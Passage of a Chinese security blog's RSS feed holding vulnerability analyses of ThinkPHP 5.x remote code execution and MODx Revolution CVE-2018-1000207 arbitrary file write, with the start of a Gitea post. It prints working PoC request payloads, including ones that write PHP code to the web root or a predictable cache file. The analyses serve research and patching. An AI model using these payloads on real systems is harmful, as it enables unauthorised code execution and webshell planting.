&lt;p&gt;&lt;code&gt;_method=__construct&amp;amp;filter=system&amp;amp;method=get&amp;amp;server[REQUEST_METHOD]=id&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112163746.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用栈如下图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112175904.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h5 id=&#34;2-流程图&#34;&gt;2. 流程图&lt;/h5&gt;

&lt;p&gt;整个漏洞的调用流程图如下所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190116110438.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;二-5-1-x-5-2-x-版本&#34;&gt;二、&lt;code&gt;5.1.x&lt;/code&gt;/&lt;code&gt;5.2.x&lt;/code&gt;版本&lt;/h4&gt;

&lt;p&gt;在&lt;code&gt;5.1&lt;/code&gt;和&lt;code&gt;5.2&lt;/code&gt;版本上，这个变量覆盖依然存在，我们同样可以通过&lt;code&gt;_method&lt;/code&gt;参数覆盖&lt;code&gt;var_method&lt;/code&gt;，并最终执行到&lt;code&gt;Request::input()&lt;/code&gt;方法，通过&lt;code&gt;array_walk_recursive&lt;/code&gt;把传入的数组传给回调函数&lt;code&gt;filterValue&lt;/code&gt;，最终也是在&lt;code&gt;filterValue&lt;/code&gt;中完成命令执行，具体调用如下&lt;/p&gt;

&lt;p&gt;当传入&lt;code&gt;_method&lt;/code&gt;参数为&lt;code&gt;filter&lt;/code&gt;时，覆盖了&lt;code&gt;Request&lt;/code&gt;原始的&lt;code&gt;filter&lt;/code&gt;成员，在经过路由检查进入&lt;code&gt;Request::instance()-&amp;gt;param()&lt;/code&gt;方法时，经过&lt;code&gt;$this-&amp;gt;method(true)调用，&lt;/code&gt;返回的&lt;code&gt;$method&lt;/code&gt;值为&lt;code&gt;POST&lt;/code&gt;，于是进入&lt;code&gt;post&lt;/code&gt;分支，调用&lt;code&gt;input()&lt;/code&gt;方法，由于第一个参数为空，返回我们传入的&lt;code&gt;post&lt;/code&gt;值&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190116095414.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后把数组合并到&lt;code&gt;$this-&amp;gt;param&lt;/code&gt;，接着再次调用&lt;code&gt;input()&lt;/code&gt;方法，经过&lt;code&gt;$this-&amp;gt;getFilter&lt;/code&gt;返回&lt;code&gt;filter&lt;/code&gt;值，由于此时&lt;code&gt;$data&lt;/code&gt;是一个数组(即&lt;code&gt;$this-&amp;gt;param&lt;/code&gt;)，于是进入&lt;code&gt;if&lt;/code&gt;分支，经过&lt;code&gt;array_walk_recursive()&lt;/code&gt;函数把数组传给回调函数&lt;code&gt;filterValue&lt;/code&gt;，遍历键值后同样由&lt;code&gt;call_user_func&lt;/code&gt;完成命令执行&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (is_array($data)) {
    array_walk_recursive($data, [$this, &#39;filterValue&#39;], $filter);
    if (version_compare(PHP_VERSION, &#39;7.1.0&#39;, &#39;&amp;lt;&#39;)) {
        // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
        $this-&amp;gt;arrayReset($data);
    }
} else {
    $this-&amp;gt;filterValue($data, $name, $filter);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;1-构造-poc-1&#34;&gt;1. 构造&lt;code&gt;PoC&lt;/code&gt;&lt;/h5&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;a=system&amp;amp;b=id&amp;amp;_method=filter
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;需要在程序加入忽略异常提示：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;error_reporting(0);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;调用栈如图&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190116095551.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h5 id=&#34;2-流程图-1&#34;&gt;2. 流程图&lt;/h5&gt;

&lt;p&gt;&lt;code&gt;5.1.x&lt;/code&gt;版本的漏洞调用流程图如下所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190116104019.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x05-补丁分析&#34;&gt;0x05 补丁分析&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190114134401.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在三个版本的更新补丁中，限制了&lt;code&gt;$this-&amp;gt;method&lt;/code&gt;为&lt;code&gt;GET&lt;/code&gt;，&lt;code&gt;POST&lt;/code&gt;，&lt;code&gt;DELETE&lt;/code&gt;，&lt;code&gt;PUT&lt;/code&gt;，&lt;code&gt;PATCH&lt;/code&gt;这几个方法，因此不能从外部传入方法名再调用&lt;code&gt;Request&lt;/code&gt;类的任意方法或是覆盖原有变量。&lt;/p&gt;

&lt;p&gt;补丁链接：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;5.0.24：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003&#34;&gt;https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;5.1.31：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6&#34;&gt;https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;5.2-beta.2：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/top-think/framework/commit/7c24500e463704583e0778b7ec6efce607ddef5f&#34;&gt;https://github.com/top-think/framework/commit/7c24500e463704583e0778b7ec6efce607ddef5f&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x06-总结&#34;&gt;0x06 总结&lt;/h3&gt;

&lt;p&gt;这三漏洞本质上都是变量覆盖漏洞，在一处存在缺陷的方法中没有对用户输入做严格判断，通过传递&lt;code&gt;_method&lt;/code&gt;参数覆盖了配置文件的&lt;code&gt;_method&lt;/code&gt;，导致可以访问&lt;code&gt;Request&lt;/code&gt;类的任意函数，而在&lt;code&gt;Request&lt;/code&gt;的构造函数中又创建了恶意的成员变量，导致后面的命令执行；而在&lt;code&gt;5.1&lt;/code&gt;和&lt;code&gt;5.2&lt;/code&gt;版本中则是直接覆盖了过滤器，在忽略运行异常的情况下会触发漏洞，整个利用链可以说是非常巧妙了。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>MODx Revolution 远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/modx-revolution-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 20 Jul 2018 17:44:56 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/modx-revolution-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;近日，&lt;code&gt;MODx&lt;/code&gt;官方发布通告称其&lt;code&gt;MODx Revolution 2.6.4&lt;/code&gt;及之前的版本存在2个高危漏洞，攻击者可以通过该漏洞远程执行任意代码，从而获取网站的控制权或者删除任意文件。 本文分析其中的&lt;strong&gt;CVE-2018-1000207&lt;/strong&gt;漏洞，并分别分析MODx 2.5.1和2.6.4版本漏洞形成原因和PoC构造。&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;分别安装&lt;code&gt;MODx 2.5.1&lt;/code&gt;和&lt;code&gt;2.6.4&lt;/code&gt;版本&lt;/p&gt;

&lt;h3 id=&#34;0x03-漏洞分析&#34;&gt;0x03 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;2-5-1版本&#34;&gt;2.5.1版本&lt;/h4&gt;

&lt;p&gt;漏洞发生在&lt;code&gt;phpthumb&lt;/code&gt;模块，该模块的作用是提供缩略图对象&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1532080364911.png&#34; alt=&#34;1532080364911&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当我们把光标放到文件系统中的图片上的时候，可以看到弹出了图片的缩略图，此时就调用了&lt;code&gt;phpthumb&lt;/code&gt;接口&lt;/p&gt;

&lt;p&gt;请求接口类似这样&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://127.0.0.1/connectors/system/phpthumb.php?src=1.png&amp;amp;w=116&amp;amp;h=0&amp;amp;HTTP_MODAUTH=modx5b5067d920ba81.94108199_15b513c49743c49.16917110&amp;amp;f=png&amp;amp;q=90&amp;amp;wctx=mgr&amp;amp;source=1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;可以看到几个参数描述了图片的一些基本属性，这些属性在&lt;code&gt;core/model/phpthumb/phpthumb.class.php&lt;/code&gt;中定义&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;// public:
// START PARAMETERS (for object mode and phpThumb.php)
// See phpthumb.readme.txt for descriptions of what each of these values are
var $src  = null;     // SouRCe filename
var $new  = null;     // NEW image (phpThumb.php only)
var $w    = null;     // Width
var $h    = null;     // Height
var $wp   = null;     // Width  (Portrait Images Only)
var $hp   = null;     // Height (Portrait Images Only)
var $wl   = null;     // Width  (Landscape Images Only)
var $hl   = null;     // Height (Landscape Images Only)

// private: (should not be modified directly)
var $sourceFilename   = null;
var $rawImageData     = null;
var $IMresizedData    = null;
var $outputImageData  = null;
var $useRawIMoutput   = false;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;从定义中也能看到，&lt;code&gt;phpthumb&lt;/code&gt;提供了两种类型的参数：&lt;code&gt;public&lt;/code&gt;和&lt;code&gt;private&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;public&lt;/code&gt;就是普通属性，包括图片长宽高等，&lt;code&gt;private&lt;/code&gt;则是一些私有属性，包括缓存目录，文件类型等，此次漏洞形成的关键就是程序并没有对两种类型的参数区分处理，以至于我们可以直接传入私有参数控制其中的变量值，从而改变程序执行逻辑。&lt;/p&gt;

&lt;p&gt;当我们请求这个接口的时候，会访问&lt;code&gt;modSystemPhpThumbProcessor()&lt;/code&gt;类，其中的&lt;code&gt;process()&lt;/code&gt;方法：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;public function process() {
    $src = $this-&amp;gt;getProperty(&#39;src&#39;);
    if (empty($src)) return $this-&amp;gt;failure();

    $this-&amp;gt;unsetProperty(&#39;src&#39;);

    $this-&amp;gt;getSource($this-&amp;gt;getProperty(&#39;source&#39;));
    if (empty($this-&amp;gt;source)) $this-&amp;gt;failure($this-&amp;gt;modx-&amp;gt;lexicon(&#39;source_err_nf&#39;));

    $src = $this-&amp;gt;source-&amp;gt;prepareSrcForThumb($src);
    if (empty($src)) return &#39;&#39;;

    $this-&amp;gt;loadPhpThumb();
    /* set source and generate thumbnail */
    $this-&amp;gt;phpThumb-&amp;gt;set($src);

    /* check to see if there&#39;s a cached file of this already */
    if ($this-&amp;gt;phpThumb-&amp;gt;checkForCachedFile()) {
        $this-&amp;gt;phpThumb-&amp;gt;loadCache();
        return &#39;&#39;;
    }

    /* generate thumbnail */
    $this-&amp;gt;phpThumb-&amp;gt;generate();

    /* cache the thumbnail and output */
    $this-&amp;gt;phpThumb-&amp;gt;cache();
    $this-&amp;gt;phpThumb-&amp;gt;output();
    return &#39;&#39;;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到里面的几个主要操作，包括检查文件是否被缓存，以及读取缓存，设置缓存等，我们利用的就是&lt;code&gt;phpthumb&lt;/code&gt;设置缓存的方法&lt;code&gt;phpThumb-&amp;gt;cache()&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;public function cache() {
    phpthumb_functions::EnsureDirectoryExists(dirname($this-&amp;gt;cache_filename));
    if ((file_exists($this-&amp;gt;cache_filename) &amp;amp;&amp;amp; is_writable($this-&amp;gt;cache_filename)) || is_writable(dirname($this-&amp;gt;cache_filename))) {
        $this-&amp;gt;CleanUpCacheDirectory();
        if ($this-&amp;gt;RenderToFile($this-&amp;gt;cache_filename) &amp;amp;&amp;amp; is_readable($this-&amp;gt;cache_filename)) {
            chmod($this-&amp;gt;cache_filename, 0644);
            $this-&amp;gt;RedirectToCachedFile();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里面关键的方法是&lt;code&gt;RenderToFile()&lt;/code&gt;，可以看到它接收参数&lt;code&gt;$this-&amp;gt;cache_filename&lt;/code&gt;，那么我们可以直接传入&lt;code&gt;cache_filename&lt;/code&gt;这个变量值。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function RenderToFile($filename) {
    $renderfilename = $filename;
    //一系列检查
    if ($this-&amp;gt;RenderOutput()) {
        if (file_put_contents($renderfilename, $this-&amp;gt;outputImageData)) {
            $this-&amp;gt;DebugMessage(&#39;RenderToFile(&#39;.$renderfilename.&#39;) succeeded&#39;, __FILE__, __LINE__);
            return true;
        }
    //...
    return false;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;RenderToFile()&lt;/code&gt;方法里有&lt;code&gt;file_put_contents()&lt;/code&gt;函数，文件名是我们传入的&lt;code&gt;cache_filename&lt;/code&gt;，文件内容是&lt;code&gt;$this-&amp;gt;outputImageData&lt;/code&gt;。如果对内容没有校验的话意味着我们可以写入任意内容，前提是满足&lt;code&gt;$this-&amp;gt;RenderOutput()&lt;/code&gt;为真，进去看一下&lt;code&gt;RenderOutput()&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function RenderOutput() {
    //...
    if ($this-&amp;gt;useRawIMoutput) {
        $this-&amp;gt;DebugMessage(&#39;RenderOutput copying $this-&amp;gt;IMresizedData (&#39;.strlen($this-&amp;gt;IMresizedData).&#39; bytes) to $this-&amp;gt;outputImage&#39;, __FILE__, __LINE__);
        $this-&amp;gt;outputImageData = $this-&amp;gt;IMresizedData;
        return true;
    }
    //...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在这里我们需要满足&lt;code&gt;$this-&amp;gt;useRawIMoutput&lt;/code&gt;为真，而这个变量默认值为&lt;code&gt;false&lt;/code&gt;。实际上&lt;code&gt;useRawIMoutput&lt;/code&gt;即为我们提到的私有变量，程序虽然默认定义了私有变量的值，但我们还是可以通过&lt;code&gt;post&lt;/code&gt;把值直接传进去，同时这里也没有检验文件的内容，直接把&lt;code&gt;$this-&amp;gt;IMresizedData&lt;/code&gt;赋值为&lt;code&gt;$this-&amp;gt;outputImageData&lt;/code&gt;，也就是&lt;code&gt;file_put_contents()&lt;/code&gt;所需要的第二个参数，所以到这里就能构成一个任意文件写入的漏洞。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;构造PoC：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cache_filename=../../../payload.php&amp;amp;src=.&amp;amp;ctx=web&amp;amp;useRawIMoutput=1&amp;amp;config_prefer_imagemagick=0&amp;amp;outputImageData=&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;需要特别注意的是，此处的&lt;code&gt;cache_filename&lt;/code&gt;与网站相对路径密切相关，往上目录穿越少了反而不能写入文件，而在Windows下测试可以写入Web根目录以外的目录，因为程序内部虽然检查了目录写权限，却并没有限制一个根目录，所以严格来说这里还存在一个目录穿越漏洞。&lt;/p&gt;

&lt;p&gt;这个利用在MODX 2.5.1版本及之前可以无需登录直接利用，而在2.6.4版本进行了更严格的权限检查，在处理请求之前增加了这样一段判断代码：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;core/model/modx/modconnectorresponse.class.php&lt;/code&gt; &lt;code&gt;outputContent()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/* Block the user if there&#39;s no user token for the current context, and permissions are in fact required */
if (empty($siteId) &amp;amp;&amp;amp; (!defined(&#39;MODX_REQP&#39;) || MODX_REQP === TRUE)) {
    $this-&amp;gt;responseCode = 401;
    $this-&amp;gt;body = $modx-&amp;gt;error-&amp;gt;failure($modx-&amp;gt;lexicon(&#39;access_denied&#39;),array(&#39;code&#39; =&amp;gt; 401));
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所以在2.6.4版本利用需要登录权限。&lt;/p&gt;

&lt;h4 id=&#34;2-6-4版本&#34;&gt;2.6.4版本&lt;/h4&gt;

&lt;p&gt;那么有没有方法在2.6.4版本也能不需要权限直接写入任意文件呢？答案还是有的，只不过网站需要安装一个插件&lt;a href=&#34;https://modx.com/extras/package/gallery&#34;&gt;Gallery&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Gallery is a dynamic Gallery Extra for MODx Revolution. It allows you to quickly and easily put up galleries of images, sort them, tag them, and display them in a myriad of ways in the front-end of your site.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;简而言之&lt;code&gt;Gallery&lt;/code&gt; 是一个图库，可以更方便地管理网站图片。&lt;/p&gt;

&lt;p&gt;在这个库中也有&lt;code&gt;phpThumb&lt;/code&gt;的相关方法，而且同样有缓存机制，不出意外同样存在任意文件写入漏洞，但是这个方法稍微复杂一些，它把文件写入cache目录，而文件名经过了一个array的反序列化再MD5，这样即使我们能写入文件，却猜不到文件名，因此a2u给出的PoC也没能直接写入文件，而是通过返回包来判断是否存在漏洞。但是经过分析，实际上我们是可以往缓存目录写入一个shell的，而且能够知道保存的文件名，下面来分析一下如何绕过这个看似复杂的流程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1532596628836.png&#34; alt=&#34;1532596628836&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当利用插件上传图片的时候，如果图库中已经有图片，我们就可以看到一张缩略图，请求类似这样&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://127.0.0.1/modx-2.6.4-pl/assets/components/gallery/connector.php?action=web/phpthumb&amp;amp;w=100&amp;amp;h=100&amp;amp;zc=1&amp;amp;src=/modx-2.6.4-pl/assets/gallery/1/cover.png&amp;amp;time=1532596253635&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;同样的，&lt;code&gt;gallery&lt;/code&gt;的&lt;code&gt;connector.php&lt;/code&gt;也接收图片属性等&lt;code&gt;public&lt;/code&gt;参数，但是此处我们并不关心，直接定位到处理写入缓存的文件&lt;code&gt;core/components/gallery/processors/web/phpthumb.php&lt;/code&gt;。漏洞形成点同样也是&lt;code&gt;file_put_contents&lt;/code&gt;参数没有经过过滤。&lt;/p&gt;

&lt;p&gt;请求在进入&lt;code&gt;phpthumb.php&lt;/code&gt;之后，首先会把参数设置成一个&lt;code&gt;array&lt;/code&gt;，放在&lt;code&gt;$scriptProperties&lt;/code&gt;中，类似这样&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;array (
  &#39;action&#39; =&amp;gt; &#39;web/phpthumb&#39;,
  &#39;w&#39; =&amp;gt; &#39;100&#39;,
  &#39;h&#39; =&amp;gt; &#39;100&#39;,
  &#39;zc&#39; =&amp;gt; &#39;1&#39;,
  &#39;src&#39; =&amp;gt; &#39;/modx-2.6.4-pl/assets/gallery/1/cover.png&#39;,
  &#39;time&#39; =&amp;gt; &#39;1532596253635&#39;,
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在调用系统&lt;code&gt;phpthumb.class.php&lt;/code&gt;模块的&lt;code&gt;RenderToFile&lt;/code&gt;之前对文件进行了一系列处理，主要关注其中几个&lt;/p&gt;

&lt;p&gt;首先对&lt;code&gt;src&lt;/code&gt;文件后缀有一个判断&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (empty($ptOptions[&#39;f&#39;])) {
    $ext = pathinfo($src, PATHINFO_EXTENSION);
    $ext = strtolower($ext);
    switch ($ext) {
        case &#39;jpg&#39;:
        case &#39;jpeg&#39;:
        case &#39;png&#39;:
        case &#39;gif&#39;:
        case &#39;bmp&#39;:
            $ptOptions[&#39;f&#39;] = $ext;
            break;
        default:
            $ptOptions[&#39;f&#39;] = &#39;jpeg&#39;;
            break;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果没有指定&lt;code&gt;f&lt;/code&gt;参数的话，就根据文件后缀将&lt;code&gt;f&lt;/code&gt;赋值。也就是说，如果我们传递了&lt;code&gt;f&lt;/code&gt;参数，也就可以指定任意文件后缀，此处没有任何过滤。&lt;/p&gt;

&lt;p&gt;然后判断&lt;code&gt;src&lt;/code&gt;参数是否是以&lt;code&gt;http&lt;/code&gt;开头，如果不是，则把&lt;code&gt;src&lt;/code&gt;拼接成完整的物理路径：&lt;code&gt;D:/phpStudy/PHPTutorial/WWW/modx-2.6.4-pl/assets/gallery/1/cover.png&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/* auto-prepend base path if not a URL */
if (strpos($src, &#39;http&#39;) === false) {
    $basePath = $modx-&amp;gt;getOption(&#39;base_path&#39;, null, MODX_BASE_PATH);
    if ($basePath != &#39;/&#39;) {
        $src = str_replace(basename($basePath), &#39;&#39;, $src);
        $src = ltrim($src, &#39;/&#39;);
        $src = $basePath . $src;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接着把&lt;code&gt;src&lt;/code&gt;路径中的&lt;code&gt;:&lt;/code&gt;和&lt;code&gt;/&lt;/code&gt;替换成&lt;code&gt;_&lt;/code&gt;，也就是&lt;code&gt;D__phpStudy_PHPTutorial_WWW_modx-2.6.4-pl_assets_gallery_1_cover.png&lt;/code&gt;，这个字符串将成为最后缓存文件的文件名的前半部分。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$inputSanitized = str_replace(array(&#39;:&#39;, &#39;/&#39;), &#39;_&#39;, $src);
$cacheFilename = $inputSanitized;
$cacheFilename .= &#39;.&#39; . md5(serialize($scriptProperties));
$cacheFilename .= &#39;.&#39; . (!empty($ptOptions[&#39;f&#39;]) ? $ptOptions[&#39;f&#39;] : &#39;png&#39;);
$cacheKey = $assetsPath . &#39;cache/&#39; . $cacheFilename;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而文件名后半部分则是&lt;code&gt;md5(serialize($scriptProperties))&lt;/code&gt;的值，把上面的array进行反序列化再MD5，最后拼接上面设置的&lt;code&gt;f&lt;/code&gt;后缀，所以最后的文件名类似&lt;code&gt;D__phpStudy_PHPTutorial_WWW_modx-2.6.4-pl_assets_gallery_1_cover.png.0f0d6092657266f9718061fb8a20730d.png&lt;/code&gt;，由于在实际利用中我们不知道网站物理路径，因此几乎无法猜出这个文件名。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;绕过方式就是利用&lt;code&gt;src&lt;/code&gt;参数，上面代码对&lt;code&gt;src&lt;/code&gt;进行了一个&lt;code&gt;http&lt;/code&gt;判断，假如我们指定&lt;code&gt;src&lt;/code&gt;以&lt;code&gt;http&lt;/code&gt;开头，就不会拼接物理路径，而反序列化时的各个参数均是我们可以控制的，这样我们最终就能得到一个文件名类似&lt;code&gt;http.md5_string.php&lt;/code&gt;的缓存文件。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;构造PoC：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;action=web/phpthumb&amp;amp;src=http&amp;amp;f=php&amp;amp;useRawIMoutput=1&amp;amp;config_prefer_imagemagick=0&amp;amp;IMresizedData=&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;然后写一段代码来生成反序列化数据，此处要注意参数顺序，不同顺序生成的反序列化数据不一样，最终的MD5值也就会变&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$target = array (
    &amp;quot;action&amp;quot;=&amp;gt; &amp;quot;web/phpthumb&amp;quot;,
    &amp;quot;src&amp;quot;=&amp;gt; &amp;quot;http&amp;quot;,
    &amp;quot;f&amp;quot;=&amp;gt; &amp;quot;php&amp;quot;,
    &amp;quot;useRawIMoutput&amp;quot;=&amp;gt; &amp;quot;1&amp;quot;,
    &amp;quot;config_prefer_imagemagick&amp;quot;=&amp;gt; &amp;quot;0&amp;quot;,
    &amp;quot;IMresizedData&amp;quot;=&amp;gt; &amp;quot;&amp;lt;?php phpinfo();?&amp;gt;&amp;quot;
);
$seri = serialize($target);  
echo md5($seri);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最终会在缓存目录&lt;code&gt;assets/components/gallery/cache&lt;/code&gt;写入文件&lt;code&gt;http.f23566b3b11f5fd29a8189b74ef53daf.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1532601619133.png&#34; alt=&#34;1532601619133&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x04-补丁分析&#34;&gt;0x04 补丁分析&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/modxcms/revolution/pull/13979/&#34;&gt;https://github.com/modxcms/revolution/pull/13979/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1532602450085.png&#34; alt=&#34;1532602450085&#34; /&gt;&lt;/p&gt;

&lt;p&gt;补丁主要是对可传入的参数进行了限制，只允许公共参数(public parameters)，这样就避免了直接传入私有参数改变程序逻辑。&lt;/p&gt;

&lt;h3 id=&#34;0x05-总结&#34;&gt;0x05 总结&lt;/h3&gt;

&lt;p&gt;该漏洞的利用条件虽然有一定版本和插件限制，但是在互联网上&lt;code&gt;Gallery&lt;/code&gt;插件的使用量并不小，相关站点需要多加防范。&lt;/p&gt;

&lt;p&gt;此次漏洞应该归结于&lt;code&gt;phpthumb&lt;/code&gt;模块，一是接口直接对外暴露，二是对文件操作缺少过滤。在&lt;code&gt;MODx&lt;/code&gt;中的两个版本均受到影响，分别是 &lt;code&gt;1.7.14-201604151303&lt;/code&gt;和&lt;code&gt;1.7.14-201608101311&lt;/code&gt; ，在&lt;code&gt;Github&lt;/code&gt;上搜索了几个使用该库的&lt;code&gt;CMS&lt;/code&gt;，发现代码结构几乎一致，不排除也能直接利用的情况，有兴趣的可以研究一下。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Gitea 1.4.0未授权远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/gitea-1.4.0%E6%9C%AA%E6%8E%88%E6%9D%83%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Tue, 17 Jul 2018 17:52:10 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/gitea-1.4.0%E6%9C%AA%E6%8E%88%E6%9D%83%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;p&gt;近日，Gitea 1.4.0版本的&lt;code&gt;LFS&lt;/code&gt;模块出现了一个绕过登录验证未授权创建LFS对象的漏洞，由此漏洞引申出了一条非常漂亮的攻击链，值得好好学习。&lt;/p&gt;

&lt;h3 id=&#34;0x00-基本介绍&#34;&gt;0x00 基本介绍&lt;/h3&gt;

&lt;p&gt;官网地址 &lt;a href=&#34;https://gitea.io/en-us/&#34;&gt;https://gitea.io/en-us/&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
